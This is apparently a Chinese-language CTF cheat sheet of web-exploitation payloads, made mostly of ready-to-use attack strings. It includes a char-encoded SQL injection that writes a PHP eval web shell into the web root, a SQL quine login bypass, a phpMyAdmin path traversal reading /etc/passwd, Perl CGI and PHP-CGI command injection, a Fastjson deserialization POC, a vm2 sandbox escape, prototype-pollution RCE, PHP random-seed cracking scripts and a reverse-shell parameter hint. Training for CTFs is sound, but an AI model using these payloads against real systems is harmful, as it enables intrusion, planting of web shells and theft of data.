str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
if i == 0:
print('char(%s'%ord(str[i]),end="")
else:
print(',%s'%ord(str[i]),end="")
print(')')
\1. payload:
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
\1. 连接shell.php然后蚁剑
$row['password'] = $password
代码中有$row['password'] === $password payload如下:
username=admin&password='UNION//SELECT//REPLACE(REPLACE('"UNION//SELECT//REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")//AS//a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION//SELECT//REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")//AS//a#')//AS//a#
数据库漏洞
\1. dirb扫描到后台有phpmyadmin目录,版本为4.81,经查询,存在远程文件读取漏洞直接上payload读取passwd文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
perl网页漏洞
\1. 前面增加ARGV内容:
注意下面第一行是变化的,第二行根据传的文件类型
------WebKitFormBoundaryqK2H0V95ngWv7EKo
Content-Disposition: form-data; name="file";
ARGV
\1. 猜测文件:/cgi-bin/file.pl?/flag
\2. /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|
var_dump(scandir(chr(47)))
1、47的ASC码值为“/”,上面的意思是扫根目录
2、? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
\1. 要在num前加空格
\2. ? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
\3. a= print_r(glob("*")); 然后再a=highlight_file("XX.php ");,或者a=system("ls");
\4. var_dump跟print_r一样
\5. print_r(dirname(FILE));
scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)
Cat被过滤后可以用tac,或者用more
网页搜索漏洞
直接搜网页标题+漏洞
http:xxx/search.php/?searchtype=5&tid=&area=eval($_POST[1]),然后菜刀连接
数据库的链接配置写在data/common.inc.php
没有任何提示的网页
既然没有提示,也没有其他的链接,那么可能有以下几种可能:
敏感文件泄漏、跳转、cookie / session
\1. 禁止套娃,flag在哪里,payload如下:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
Web源码泄露
一、基本源码泄露
\1. robots.txt备份文件bak、swp、bar、index.php~、.index.php.swp、index.phps。
\2. index.php_,这个其实是php的备份恢复文件,拿到lunix下,重命名为index.php.swp ,使用命令vim -r index.php 即可恢复原来的php文件
\3. phpstorm写的会有一个 .idea 文件夹,里面存储了一些配置文件.idea/workspace.xml
\4. /online-movies../var/www/html/flag.php
\5. 探针泄露tz.php
\6. /db/db.mdb
二、【java web】WEB-INF/web.xml泄露
1、java.io.FileNotFoundException,使用post进行传参
2、文件中找到,com.wm.ctf.FlagController,就访问
/WEB-INF/classes/com/wm/ctf/FlagController.class
JWT
可以用cookieeditor 插件 更改jwt
加密方式:
解密方式:jwt_tool-master
JWT弱签名爆破
如果jwt更改为admin后无法访问,可能jwt需要秘钥,在Linux使用jwtcrack,破解key
jwt-cracker "jwt传码"
https://github.com/lmammino/jwt-cracker
json编码
1、JSON转义字符绕过\uXXXX可以在JSON中转义字符,f 等价于 \u0066,可以绕过php,file等
Payload:
{ "page" :"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
2、$level_3 = json_decode($_POST['level_3']); $level_3->result == $result构造
level_3={"result":True}
Fastjson
Payload:需要用post上传
Poc=
{
{
'@type':"com.alibaba.fastjson.JSONObject",
'a':
{
"@type":"com.ctfshow.happyfjs.Beans.FlagBean","flag":{"@type":"java.util.HashMap"} }
}:'b'
}
JS的vm2逃逸
(function (){
TypeError${
${prototyp
}e}
= f=>f${
${constructo
}r}
();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e${
${get_pro
}cess}
.mainModule${
${requir
}e}${
${exe
}cSync}
.toString();
}
})()
伪随机数漏洞
\1. 题目要破解20位字符,给了一部分字符串 key,先上py脚本,注意顺序都试下
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"顺序
s = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
key = 'ZqLTaCeqQI'
m = ''
for i in key:
for j in range(len(s)):
if i == s[j]:
m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)
# m=61 61 0 61 16 16 0 61 47 47 0 61 55 55 0 61 0 0 0 61 38 38 0 61 4 4 0 61 16 16 0 61 52 52 0 61 44 44 0 61
\1. 使用Linux下的 php_mt_seed-4.0, ./ php_mt_seed-4.0 m值,得到seed值
\2. 上php脚本,下面的864314966为seed值,下面len值要看源码里
代码一:要用7.3.4版本
<?php
#version:php7.3.4
mt_srand(864314966);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
代码二:要用php5.6版本
<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . " ";
echo private_key();
?>
最后得到私钥就ok了
Linux系统漏洞
读取当前进程执行命令
1、../../../../../proc/self/cmdline, 可以看到当前执行的命令
2、无法读取某文件secret.txt时候,可以使用../../../proc/pid/fd/3读取,这个目录包含了进程打开的每一个文件的链接
3、/no_one_know_the_manager?key=R0cpefXLTTGymniVsgQUyc4icoAg9gyNCklJDNtvtXY=&shell=python反弹shell代码
指定源端口访问
curl --local-port 51 http://web.jarvisoj.com:32770/
CMS相关
1、文件上传漏洞,首先要扫网站有admin.php
设计-自定义->右上角导出主题,复制下载链接,发现其后缀 为base64位,base64编译 /flag,或者bp抓包改get参数为编译后的/flag,下载后winhex打开
原型链
找到merge(),clone()
\1. 抓/action的包,Content-Type设为application/json,下面lua和submit是参数
Payload: 注意直接在POST下值提交,然后/info路由,下载到flag
{"lua":"a","proto":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
CGI漏洞
\1. 首先就用-s参数看源码(就在url后面加index.php?-s就行)
\2. Payload分两部分:index.php?-d allow_url_include=on –d auto_prepend_file=php://input
\3. POST传参:<?php echo shell_exec('ls');?>
\4. 注意以上要用bp发包,注意上面‘=’要用url编码%3d代替
- 感谢你赐予我前进的力量